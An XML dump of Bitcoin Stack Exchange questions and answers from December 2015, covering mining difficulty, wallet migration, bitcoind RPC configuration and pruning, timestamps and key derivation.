  <row Id="41918" PostTypeId="2" ParentId="41912" CreationDate="2015-12-18T10:15:01.847" Score="9" Body="&lt;p&gt;Mining is a self-adjusting system. The difficulty only rises in accordance to the available mining power. Hence, it can neither go to a difficulty where it will take months for a block to be found, nor can it become prohibitely expensive to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5838/5406&quot;&gt;How is difficulty calculated?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-12-18T10:15:01.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41919" PostTypeId="1" AcceptedAnswerId="41923" CreationDate="2015-12-18T11:52:15.857" Score="0" ViewCount="333" Body="&lt;p&gt;I would like to print qr-code with transaction that contains my home address to print it for my dog's necklace. If dog will get lost everyone can scan it and get the address.&#xA;How can I prepare the transaction?&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2015-12-18T17:37:38.980" Title="Dog identifier in blockchain" Tags="|transactions|qrcode|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="41920" PostTypeId="1" AcceptedAnswerId="41929" CreationDate="2015-12-18T15:18:41.550" Score="1" ViewCount="59" Body="&lt;p&gt;I need to install &lt;code&gt;bitcoind&lt;/code&gt; on a new server, but I already have many addresses in use on the old server. If I want to reuse all of those addresses on the new server, do I need to copy just the &lt;code&gt;wallet.dat&lt;/code&gt; file or all files in the Bitcoin data directory?&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="27232" LastEditDate="2015-12-19T00:20:58.820" LastActivityDate="2015-12-19T00:20:58.820" Title="Export all address from bitcoind on one server to bitcoind on another server" Tags="|bitcoind|wallet|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41921" PostTypeId="1" CreationDate="2015-12-18T16:45:39.397" Score="2" ViewCount="9258" Body="&lt;p&gt;Is it necessary to run a &quot;full node&quot; including port forwarding in order to solo mine Bitcoin without any involvement of a pool?&#xA;I see that pools are offering solo mining as an option, but why would I trust them to not take my 25 BTC?&#xA;I am willing to free up 30GB for the blockchain data on my hard drive.&lt;/p&gt;&#xA;" OwnerUserId="31264" LastActivityDate="2022-12-03T20:27:30.923" Title="Solo mining without a pool?" Tags="|client|cgminer|solo-mining|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41922" PostTypeId="2" ParentId="41829" CreationDate="2015-12-18T17:06:46.997" Score="3" Body="&lt;p&gt;TL;DR: No, but if the hashes were collected, one might be able to better tell as to whether or not the SHA256^2 algorithm is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one can find a way to produce desired outputs from specific inputs, then a hashing algorithm is considered &quot;broken&quot;. Both MD5 and SHA1 are know to be broken in this way. Theoretically, running an algorithm over and over again over a set of random inputs (exactly what mining is), could provide insight into patterns produced by the algorithm, thereby allowing one to prove whether or not it's broken. However, this insight would only come through statistical analysis of data gathered, and since most of the data is thrown out -- of the trillions of hashes per second only the ones corresponding to minded blocks are recorded -- this isn't feasible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another subtlety: because the algorithm in question is specifically SHA256 applied twice and not simply SHA256, even if the data were collected and analyzed, it may not tell us anything directly about SHA256.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2015-12-18T17:06:46.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41923" PostTypeId="2" ParentId="41919" CreationDate="2015-12-18T17:37:38.980" Score="2" Body="&lt;p&gt;Janina Lowisz of Bitnation's BlockchainID project &lt;a href=&quot;https://www.wired.com/2014/10/world_passport/&quot; rel=&quot;nofollow noreferrer&quot;&gt;became the first &quot;World Citizen on the Blockchain&quot;&lt;/a&gt; by making a sort of blockchain passport:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XvTWk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XvTWk.jpg&quot; alt=&quot;Janina Lowisz&amp;#39;s blockchain passport&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something similar could be done for identifying pets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instructions on how she did it, see:&#xA;&lt;a href=&quot;https://github.com/MrChrisJ/World-Citizenship&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/MrChrisJ/World-Citizenship&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-12-18T17:37:38.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41924" PostTypeId="2" ParentId="658" CreationDate="2015-12-18T19:18:34.750" Score="4" Body="&lt;p&gt;The answers so far focus on the algorithm itself, I have a few social economic thoughts to add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume Bitcoin is massively popular and indeed becomes THE global go-to currency, at this point this and similar questions become (very) relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens in maturing industries is that through commoditization and mergers smaller and smaller numbers of players remain. Through scale advantages this small number of players will be able to provide services at lower cost and squeeze out smaller players. I see little reason the industry of Bitcoin transaction processing will be exempt from this general rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, we cannot foresee every aspect of the future, even though the Bitcoin designers did a terrific job there will be situations that will call for changes to the system. For example there might be a call from the people to stop child porn networks, to stop capital shelters for the rich, to stop overly profitable and powerful corporations,... etcetera, you name it. Whether justified or not, the people will demand for changes, not necessarily a villain government individual, the people. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is only a small number of players it is actually possible to regulate the industry. For example the regulation could be that only payments with a traceable account number will be processed, or only payments with attached fees that include a portion for tax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would think the government could even demand changes to the core of the algorithm. Preventing, for example, &quot;non-certified&quot; players to enter, thereby further establishing the power of the existing payment processors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The newly elected monopolists will then, in the final phase of capitalism self-destruction slowly but steadily raise their processing prices, eventually driving customers away and causing the Bitcoin to never reach the deflationary status many proponents and early investors claim it will have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And let's just hope it ends this way, a forking scenario from this could be that the Bitcoin reaches &quot;too big to fail&quot; status, and the people demand further regulation (of processing fees, mining speed caps, etc). We will all keep paying a premium on the existence of the currency, just for the sake of stability and the fear for disruption of the status quo. Just like with today's currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not trying to be skeptical, I'm actually very hopeful the crypto currencies are going to help with globalization and advance humanity. As a deflationary currency to &quot;easily&quot; save for your (early) retirement I am not so sure. As a transaction system probably in some way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe we don't actually need a &quot;currency&quot; maybe all we need is a transaction. Maybe there can be a super layer on top of multiple competing crypto currencies that quickly and automatically switches your money back and forth between the best suitable mix of currencies and investment funds. After all what you really care about is how your salary is exchanged into goods and future promises. &lt;/p&gt;&#xA;" OwnerUserId="31300" LastEditorUserId="5406" LastEditDate="2015-12-19T00:18:39.633" LastActivityDate="2015-12-19T00:18:39.633" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41925" PostTypeId="5" CreationDate="2015-12-18T19:32:04.657" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-12-18T19:32:04.657" LastActivityDate="2015-12-18T19:32:04.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41926" PostTypeId="4" CreationDate="2015-12-18T19:32:04.657" Score="0" Body="Refers to questions about building Cryptocurrency software (e.g. Bitcoin Core or bitcoind) from the source code." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-23T11:25:32.383" LastActivityDate="2016-01-23T11:25:32.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41927" PostTypeId="2" ParentId="41912" CreationDate="2015-12-18T19:52:53.267" Score="3" Body="&lt;p&gt;The cost of mining has actually decreased massively since CPU mining, which consumed something ridiculous like 5,000 Watts per GH/s. Today's best 16nm chips are speculated at running at less that 0.1 W per GH/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, the absolute cost of 1 TH/s of mining power has dropped significantly. You can pre-order an Antminer S7 batch 9 (~4.8 TH/s) for around 2.5 BTC.&lt;/p&gt;&#xA;" OwnerUserId="10405" LastActivityDate="2015-12-18T19:52:53.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41928" PostTypeId="1" CreationDate="2015-12-18T22:17:56.770" Score="1" ViewCount="502" Body="&lt;p&gt;In the ethconsole I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; web3.fromWei(web3.eth.getBalance(web3.eth.coinbase), &quot;ether&quot;)&#xA;35'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run &lt;code&gt;web3.eth.coinbase&lt;/code&gt; and enter the resulting &lt;code&gt;0x00f24...&lt;/code&gt; address into &lt;a href=&quot;https://www.etherchain.org/&quot; rel=&quot;nofollow&quot;&gt;https://www.etherchain.org/&lt;/a&gt; , I get &lt;code&gt;Error: Account '0x00f24...' not found!&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I independently verify my balance? Is my &lt;code&gt;coinbase&lt;/code&gt; address my wallet address? Or do I have a different address where the ether is residing?&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2016-02-19T15:18:28.597" Title="eth says I have a balance of 35 ether - etherchain can't find my address" Tags="|ethereum|" AnswerCount="0" CommentCount="3" ClosedDate="2019-07-17T18:48:32.300" ContentLicense="CC BY-SA 3.0" />
  <row Id="41929" PostTypeId="2" ParentId="41920" CreationDate="2015-12-18T23:45:02.893" Score="1" Body="&lt;p&gt;To re-use the same addresses with the new server, it will be sufficient to copy just the &lt;code&gt;wallet.dat&lt;/code&gt;. That single file contains the private keys to all receiving addresses that have been used since the &lt;code&gt;wallet.dat&lt;/code&gt; file was originally created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend copying across the &lt;code&gt;wallet.dat&lt;/code&gt;, then making sure your addresses are there and available in &lt;code&gt;bitcoind&lt;/code&gt; on the new server. If they are, then the wallet was copied over successfully and you're good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @Jannes mentioned, you will need to turn off &lt;code&gt;bitcoind&lt;/code&gt; on both servers before you do the copy.&lt;/p&gt;&#xA;" OwnerUserId="27232" LastEditorUserId="27232" LastEditDate="2015-12-19T00:01:45.623" LastActivityDate="2015-12-19T00:01:45.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41930" PostTypeId="2" ParentId="41921" CreationDate="2015-12-19T00:05:01.093" Score="1" Body="&lt;p&gt;Are you aware how much hashing power you need to stand a chance to solo mine? In case you don't the rest of the answer is moot and you'll need to study the topic of mining some more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes you'll need a full node. You don't necessarily need port-forwarding though. Full node means you validate the full blockchain and has nothing to do with network connectivity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A full node is more like 60GB disk space at the moment and will likely be &gt;100GB within a year.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2016-01-19T13:54:45.397" LastActivityDate="2016-01-19T13:54:45.397" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41933" PostTypeId="1" AcceptedAnswerId="41934" CreationDate="2015-12-19T02:22:27.823" Score="1" ViewCount="551" Body="&lt;p&gt;I assume that when January 19, 2038  rolls around, there will be a plan for extending the time to more than four bytes.&#xA; or is it the case that the four bytes are not UNIX time, or do not begin in 1970?&lt;/p&gt;&#xA;" OwnerUserId="31264" LastActivityDate="2015-12-19T02:57:38.093" Title="If Bitcoin time value is 4 bytes, is that Unix time from 1970?" Tags="|blockchain|bitcoin-core|block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41934" PostTypeId="2" ParentId="41933" CreationDate="2015-12-19T02:57:38.093" Score="4" Body="&lt;p&gt;It is a Unix timestamp, but let me correct a minor detail:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Y2.038 problem applies to a signed 32 bit number. The Bitcoin timestamp is unsigned, so it can represent the date for twice as long. Therefore, it will become a problem in 136.1 years, or in the year 2106.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhen before then, there will need to be a hard fork.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-12-19T02:57:38.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41935" PostTypeId="2" ParentId="36160" CreationDate="2015-12-19T05:44:40.543" Score="-1" Body="&lt;p&gt;XBTC is the combination of  ISO 4217 currency code XBT and the name BTC, which is also commonly used to represent one bitcoin, but it violates ISO 4217 because it begins with &quot;BT&quot;, the country code of Bhutan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what is known as a blended word, which Lewis Carroll called portmanteaus, naming them after a suitcase that unfolds into two equal parts.&lt;/p&gt;&#xA;" OwnerUserId="31308" LastEditorUserId="31308" LastEditDate="2015-12-25T03:17:06.197" LastActivityDate="2015-12-25T03:17:06.197" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41937" PostTypeId="1" CreationDate="2015-12-19T15:18:24.097" Score="3" ViewCount="63" Body="&lt;p&gt;I've heard that &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor Project&lt;/a&gt; constructed such system:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Everybody who are participating in the Tor Network, creating &lt;em&gt;Exit Node&lt;/em&gt; or even &lt;em&gt;Middle Node&lt;/em&gt;, would simply paste his &lt;em&gt;Bitcoin address&lt;/em&gt; into the &lt;strong&gt;&quot;Nickname&quot; field&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All donates are clearly transparent and divides by the fair mechanism.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now, I'm thinking, How is really great this Experiment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And wondering, such mechanism with only one address to Donate and available &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; would give fair Donation to any open-source project. For example &lt;code&gt;Linux Kernel Developers&lt;/code&gt; or other GNU projects would simply install such daemon/system by similar &lt;code&gt;# apt-get install&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Github information would give percentage of job for each person, daemon will split Bitcoin input according to this data and it will be fair and easy controllable by blockchain.info's data.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thereafter, I'm wondering, Is there anything else, except Tor Project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm meaning &quot;Global&quot;, Distributed, Bitcoin-based Donation System. Not only for closely-knitted group, where one person taking all donations and as a General commanding to his army who gonna getting what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably such list will be good adding to bitcoin wiki and this site too.&lt;/p&gt;&#xA;" OwnerUserId="31317" LastActivityDate="2015-12-19T15:18:24.097" Title="Bitcoin-based Distributed Donation Systems, whichs do you know?" Tags="|tor|open-source|donation|wealth-distribution|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41938" PostTypeId="2" ParentId="37785" CreationDate="2015-12-19T19:15:46.837" Score="1" Body="&lt;p&gt;Another option is to use cash to buy a pre-paid Visa (or MasterCard or American Express) card from a supermarket or convenience store.  Then, create an account with an online exchange, and use the prepaid card to fund the account, then use the funds to buy bitcoins.  To be sure to cover your tracks, use Tails/TOR when connecting to the online exchange.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2015-12-19T19:15:46.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41941" PostTypeId="1" AcceptedAnswerId="41945" CreationDate="2015-12-19T23:34:27.947" Score="5" ViewCount="7790" Body="&lt;p&gt;I have read a similar post which had no answer &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4949/why-isnt-bitcoind-listening-on-its-rpc-port&quot; title=&quot;at this location.&quot;&gt;at this location&lt;/a&gt;. I am trying to use bitcoin-cli from a host that different from the host that runs bitcoind.  I also would be happy with being able to use curl to issue rpc requests.  I have had much success with getting bitcoind and bitcoin-cli to communicate within the same host, but activating the rpc port for external communication has proven to be beyond difficult if not impossible, and I am seeking your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have started bitcoind with the following configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=jared&#xA;rpcpassword=1234&#xA;rpcport=8332&#xA;rpcallow=192.168.*.*&#xA;gen=0&#xA;prune=600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note, the password will be changed after the system is working)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have confirmed that the system is functioning on the local machine using bitcoin-cli to get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;version&quot; : 110200,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;blocks&quot; : 183745,&#xA;    &quot;timeoffset&quot; : -1,&#xA;    &quot;connections&quot; : 8,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 1583177.84744401,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00005000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And from another host on the network, I have used nmap to scan the ports to display:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Starting Nmap 6.47 ( http://nmap.org ) at 2015-12-19 15:20 PST&#xA;Nmap scan report for c161.attlocal.net (192.168.1.68)&#xA;Host is up (0.0014s latency).&#xA;Not shown: 997 closed ports&#xA;PORT     STATE SERVICE&#xA;22/tcp   open  ssh&#xA;80/tcp   open  http&#xA;8333/tcp open  unknown&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the question referenced above, the user was able to cause the rpc port to open by removing the rpcallow lines from his configuration file. He commented them out, and the problem fixed itself. I have also tried this and not had any luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have tried using rpcallow of '192.168.1.*', '192.168.0.0/16', '192.168.1.0/24' and once tried using rpcbind, which appears to be related to an older version of bitcoind as it is no longer listed in the man pages for bitcoin.conf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My system is running the following OS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Distributor ID: Ubuntu&#xA;Description:    Ubuntu 15.10&#xA;Release:    15.10&#xA;Codename:   wily&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any and all help is appreciated!  Kind regards, and thank you.&lt;/p&gt;&#xA;" OwnerUserId="15481" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2022-03-29T21:06:27.450" Title="Why is my bitcoind daemon not listening on RPC port at 8332?" Tags="|bitcoind|json-rpc|ubuntu|bitcoin-cli|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41943" PostTypeId="1" AcceptedAnswerId="41946" CreationDate="2015-12-20T01:36:17.757" Score="0" ViewCount="1038" Body="&lt;p&gt;I have run bitcoind as a server on one host. On a second host, I have configured bitcoin-cli to interact with bitcoind.  However, all wallet commands are now disabled with this new configuration.  When I run simple commands such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli listaccounts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getaccountaddress &quot;new_account&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: {&quot;code&quot;:-32601,&quot;message&quot;:&quot;Method not found (disabled)&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I call any other bitcoin-cli method that does not involve wallets, I get a normal response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening?  What causes the wallet functionality to be disabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The configuration file reads as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=jared&#xA;rpcpassword=1234&#xA;rpcport=8332&#xA;rpcallowip=192.168.0.0/16&#xA;gen=0&#xA;prune=600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15481" LastActivityDate="2015-12-20T03:34:50.130" Title="What causes the wallet functions to be disabled?" Tags="|bitcoind|wallet|api|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41945" PostTypeId="2" ParentId="41941" CreationDate="2015-12-20T03:08:15.380" Score="5" Body="&lt;p&gt;Two thoughts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The wildcard syntax is not supported anymore. Instead of &lt;code&gt;192.168.*.*&lt;/code&gt;, use &lt;code&gt;192.168.0.0/16&lt;/code&gt;. Instead of &lt;code&gt;192.168.1.*&lt;/code&gt;, use &lt;code&gt;192.168.1.0/24&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As an additional debugging step, try running &lt;code&gt;netstat -antlp | grep 8332&lt;/code&gt;. If that produces output like the following, that means that it &lt;em&gt;is&lt;/em&gt; bound to the port.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tcp        0      0 0.0.0.0:8332             0.0.0.0:*               LISTEN &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-12-20T19:01:12.910" LastActivityDate="2015-12-20T19:01:12.910" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41946" PostTypeId="2" ParentId="41943" CreationDate="2015-12-20T03:34:50.130" Score="4" Body="&lt;p&gt;In Bitcoin Core 0.11 pruning is experimental, and incompatible with the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So turning on the &lt;code&gt;prune=&lt;/code&gt; option automatically disables the wallet function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 0.12 the wallet will work with pruning (though you obviously won't be able to rescan past the pruning cutoff).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-12-20T03:34:50.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41947" PostTypeId="1" CreationDate="2015-12-20T17:24:29.070" Score="5" ViewCount="609" Body="&lt;p&gt;This article says you can generate new public keys from an already generated public key. How is this possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinmagazine.com/articles/deterministic-wallets-advantages-flaw-1385450276&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoinmagazine.com/articles/deterministic-wallets-advantages-flaw-1385450276&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought you could only generate new public keys from private keys. What is the mathematical property that guarantees this? Is there a kind of associativity, or better say, an homomorphism between the set of private keys and public keys? Because the article says that you can either sum before or after the public key is generated. &lt;/p&gt;&#xA;" OwnerUserId="31337" LastActivityDate="2015-12-20T18:55:39.633" Title="Derive new public keys from a public key?" Tags="|wallet|address|public-key|deterministic-wallets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41948" PostTypeId="2" ParentId="41947" CreationDate="2015-12-20T18:55:39.633" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a kind of homomorphism between the set of private keys and public keys?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. You can think of &lt;code&gt;f: G -&amp;gt; H&lt;/code&gt; being the function that derives a public key (i.e. something from the set of H) from a private key (something from the set of G).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More to the point, &lt;code&gt;f(a + b modulo n) = f(a) # f(b)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using the &lt;code&gt;#&lt;/code&gt; symbol above to mean 'secp256k1 elliptic curve point addition')&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Because the article says that you can either sum before or after the public key is generated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's accurate.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-12-20T18:55:39.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41949" PostTypeId="1" AcceptedAnswerId="41991" CreationDate="2015-12-20T19:40:12.640" Score="8" ViewCount="10641" Body="&lt;p&gt;There are many descriptions of what mining is, but none of them describe it exactly. From what I gather:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mining means finding a nonce c such that for some information s the hash value h(s||c) begins with a certain number of zeros (h is sha-256, || concatenation).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &quot;information&quot; is given &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. The nonce is an integer that is incremented in the mining process. But it seems that it's not s||c that is hashed, but rather there is some double hashing going on, but of what, h(s)||c, h(s||c), h(s)||h(c)? I can't deduce it from the Python code in the previous link (NB: I'm code illiterate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the nonce isn't just initialized at zero and then incremented until there's success:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To avoid risking wasting work in this way, there needs to be a random starting point, and so the work becomes to find H(s,x,c)/2^(n-k) = 0 where x is random (eg 128-bits to make it statistically infeasible for two users to maliciously or accidentally start at the same point), and c is the counter being varied, and s is the service string. &lt;a href=&quot;https://en.bitcoin.it/wiki/Hashcash#Adding_purpose&quot; rel=&quot;noreferrer&quot;&gt;(source)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But that's the article describing hashcash, and who knows bitcoin might not have implemented the hashcash protocol as it was proposed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, what is the exact protocol? I'd go and read the source code if I could but like I said I'm not code literate. Surely the answer must be possible to formulate concisely, something like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Compute h(s||c) where c runs over 0,1,... until value begins with 15 zeros.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hash s and obtain x in manner X, then compute h(h(s)||c) where c runs over x,x+1,..., until value begins with 17 zeros.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sorry if this has been asked before, if so clearly I'm googling the wrong words, thanks.&lt;/p&gt;&#xA;" OwnerUserId="30935" LastEditorUserId="5406" LastEditDate="2016-02-21T11:45:51.283" LastActivityDate="2020-08-15T17:03:53.600" Title="What is the precise nonce finding protocol?" Tags="|mining-theory|nonce|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41950" PostTypeId="2" ParentId="16747" CreationDate="2015-12-20T20:08:34.477" Score="0" Body="&lt;p&gt;I am actually working on trying to figure out the same thing, but from my understanding is you are looking to have it repeat? Try something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$to = array();&#xA;$count = 0;&#xA;&#xA;while ( $row_users = mysqli_fetch_array($getting_allowed_users) )&#xA;{&#xA;          $to[$count++] = array($row_users['user_bitcoin_wallet'] =&gt; $currency);&#xA;}&#xA;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="31339" LastActivityDate="2015-12-20T20:08:34.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41951" PostTypeId="2" ParentId="41949" CreationDate="2015-12-20T20:09:27.163" Score="0" Body="&lt;p&gt;There is no &quot;protocol&quot; for finding a suitable nonce value. Any value that, after hashing, produces a result matching the current difficulty is acceptable. How a given miner finds that value is completely up to the miner. It's not of any benefit for all miners to start at the same value (0) and work upwards, because then all but the fastest miner is duplicating work that others have already just done (and by definition, the fastest miner will win). So it is beneficial for miners to start somewhere where they don't think anybody else will have looked yet.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2015-12-20T20:09:27.163" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
